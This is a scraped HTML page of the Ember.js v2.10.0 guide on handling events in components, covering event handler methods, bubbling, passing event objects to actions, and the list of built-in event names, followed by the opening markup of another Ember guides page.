</a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/passing-properties-to-a-component" id="ember195853" class="ember-view"> Passing Properties to a Component </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/wrapping-content-in-a-component" id="ember195855" class="ember-view"> Wrapping Content in a Component </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/customizing-a-components-element" id="ember195857" class="ember-view"> Customizing a Component's Element </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/block-params" id="ember195859" class="ember-view"> Using Block Params </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v2.10.0/components/handling-events" id="ember195861" class="selected ember-view"> Handling Events </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/triggering-changes-with-actions" id="ember195863" class="ember-view"> Triggering Changes with Actions </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195865" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/controllers" id="ember195866" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember195867" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195869" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/models" id="ember195870" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember195871" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195873" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/applications" id="ember195874" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember195875" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195877" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/testing" id="ember195878" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember195879" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195881" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/ember-inspector" id="ember195882" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember195883" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195885" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/addons-and-dependencies" id="ember195886" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember195887" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195889" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/configuring-ember" id="ember195890" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember195891" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195893" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/contributing" id="ember195894" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember195895" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195897" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/glossary" id="ember195898" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember195899" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember195900" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.10.0. <a href="/release/components/handling-events" id="ember195901" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.10.0/components/handling-events.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Handling Events </h1> <hr> <div id="ember195902" class="ember-view"><p>You can respond to user events on your component like double-clicking, hovering, and key presses through event handlers. Simply implement the name of the event you want to respond to as a method on your component.</p> <p>For example, imagine we have a template like this:</p> <pre><code class="handlebars language-handlebars">{{#double-clickable}} This is a double clickable area! {{/double-clickable}} </code></pre> <p>Let's implement <code>double-clickable</code> such that when it is clicked, an alert is displayed:</p> <pre><code class="javascript language-javascript"data-filename=app/components/double-clickable.js>import Ember from 'ember'; export default Ember.Component.extend({ doubleClick() { alert("DoubleClickableComponent was clicked!"); } }); </code></pre> <p>Browser events may bubble up the DOM which potentially target parent component(s) in succession. To enable bubbling <code>return true;</code> from the event handler method in your component.</p> <pre><code class="javascript language-javascript"data-filename=app/components/double-clickable.js>import Ember from 'ember'; export default Ember.Component.extend({ doubleClick() { Ember.Logger.info("DoubleClickableComponent was clicked!"); return true; } }); </code></pre> <p>See the list of event names at the end of this page. Any event can be defined as an event handler in your component.</p> <h2 id="toc_sending-actions">Sending Actions</h2> <section aria-labelledby="toc_sending-actions"> <p>In some cases your component needs to define event handlers, perhaps to support various draggable behaviors. For example, a component may need to send an <code>id</code> when it receives a drop event:</p> <pre><code class="handlebars language-handlebars">{{drop-target action=(action "didDrop")}} </code></pre> <p>You can define the component's event handlers to manage the drop event. And if you need to, you may also stop events from bubbling, by using <code>return false;</code>.</p> <pre><code class="javascript language-javascript"data-filename=app/components/drop-target.js>import Ember from 'ember'; export default Ember.Component.extend({ attributeBindings: ['draggable'], draggable: 'true', dragOver() { return false; }, drop(event) { let id = event.dataTransfer.getData('text/data'); this.get('action')(id); } }); </code></pre> <p>In the above component, <code>didDrop</code> is the <code>action</code> passed in. This action is called from the <code>drop</code> event handler and passes one argument to the action - the <code>id</code> value found through the <code>drop</code> event object.</p> <p>Another way to preserve native event behaviors and use an action, is to assign a (closure) action to an inline event handler. Consider the template below which includes an <code>onclick</code> handler on a <code>button</code> element:</p> <pre><code class="handlebars language-handlebars">&lt;button onclick={{action 'signUp'}}&gt;Sign Up&lt;/button&gt; </code></pre> <p>The <code>signUp</code> action is simply a function defined on the <code>actions</code> hash of a component. Since the action is assigned to an inline handler, the function definition can define the event object as its first parameter.</p> <pre><code class="javascript language-javascript">actions: { signUp: function(event){ // Only when assigning the action to an inline handler, the event object // is passed to the action as the first parameter. } } </code></pre> <p>The normal behavior for a function defined in <code>actions</code> does not receive the browser event as an argument. So, the function definition for the action cannot define an event parameter. The following example demonstrates the default behavior using an action.</p> <pre><code class="handlebars language-handlebars">&lt;button {{action 'signUp'}}&gt;Sign Up&lt;/button&gt; </code></pre> <pre><code class="javascript language-javascript">actions: { signUp: function(){ // No event object is passed to the action. } } </code></pre> <p>To utilize an <code>event</code> object as a function parameter:</p> <ul> <li>Define the event handler in the component (which is designed to receive the browser event object).</li> <li>Or, assign an action to an inline event handler in the template (which creates a closure action and does receive the event object as an argument).</li> </ul> </section> <h2 id="toc_event-names">Event Names</h2> <section aria-labelledby="toc_event-names"> <p>The event handling examples described above respond to one set of events. The names of the built-in events are listed below. Custom events can be registered by using <a href="https://api.emberjs.com/classes/Ember.Application.html#property_customEvents">Ember.Application.customEvents</a>.</p> <p>Touch events:</p> <ul> <li><code>touchStart</code></li> <li><code>touchMove</code></li> <li><code>touchEnd</code></li> <li><code>touchCancel</code></li> </ul> <p>Keyboard events</p> <ul> <li><code>keyDown</code></li> <li><code>keyUp</code></li> <li><code>keyPress</code></li> </ul> <p>Mouse events</p> <ul> <li><code>mouseDown</code></li> <li><code>mouseUp</code></li> <li><code>contextMenu</code></li> <li><code>click</code></li> <li><code>doubleClick</code></li> <li><code>mouseMove</code></li> <li><code>focusIn</code></li> <li><code>focusOut</code></li> <li><code>mouseEnter</code></li> <li><code>mouseLeave</code></li> </ul> <p>Form events:</p> <ul> <li><code>submit</code></li> <li><code>change</code></li> <li><code>focusIn</code></li> <li><code>focusOut</code></li> <li><code>input</code></li> </ul> <p>HTML5 drag and drop events:</p> <ul> <li><code>dragStart</code></li> <li><code>drag</code></li> <li><code>dragEnter</code></li> <li><code>dragLeave</code></li> <li><code>dragOver</code></li> <li><code>dragEnd</code></li> <li><code>drop</code></li> </ul> </section> </div> <footer id="ember195903" class="ember-view"> <a href="/v2.10.0/components/block-params" id="ember195904" class="previous-guide ember-view">Using Block Params</a> <a href="/v2.10.0/components/triggering-changes-with-actions" id="ember195905" class="next-guide ember-view"> Triggering Changes with Actions </a></footer> </article> </main> <footer id="ember195906" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember195907" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember195908" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember195909" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d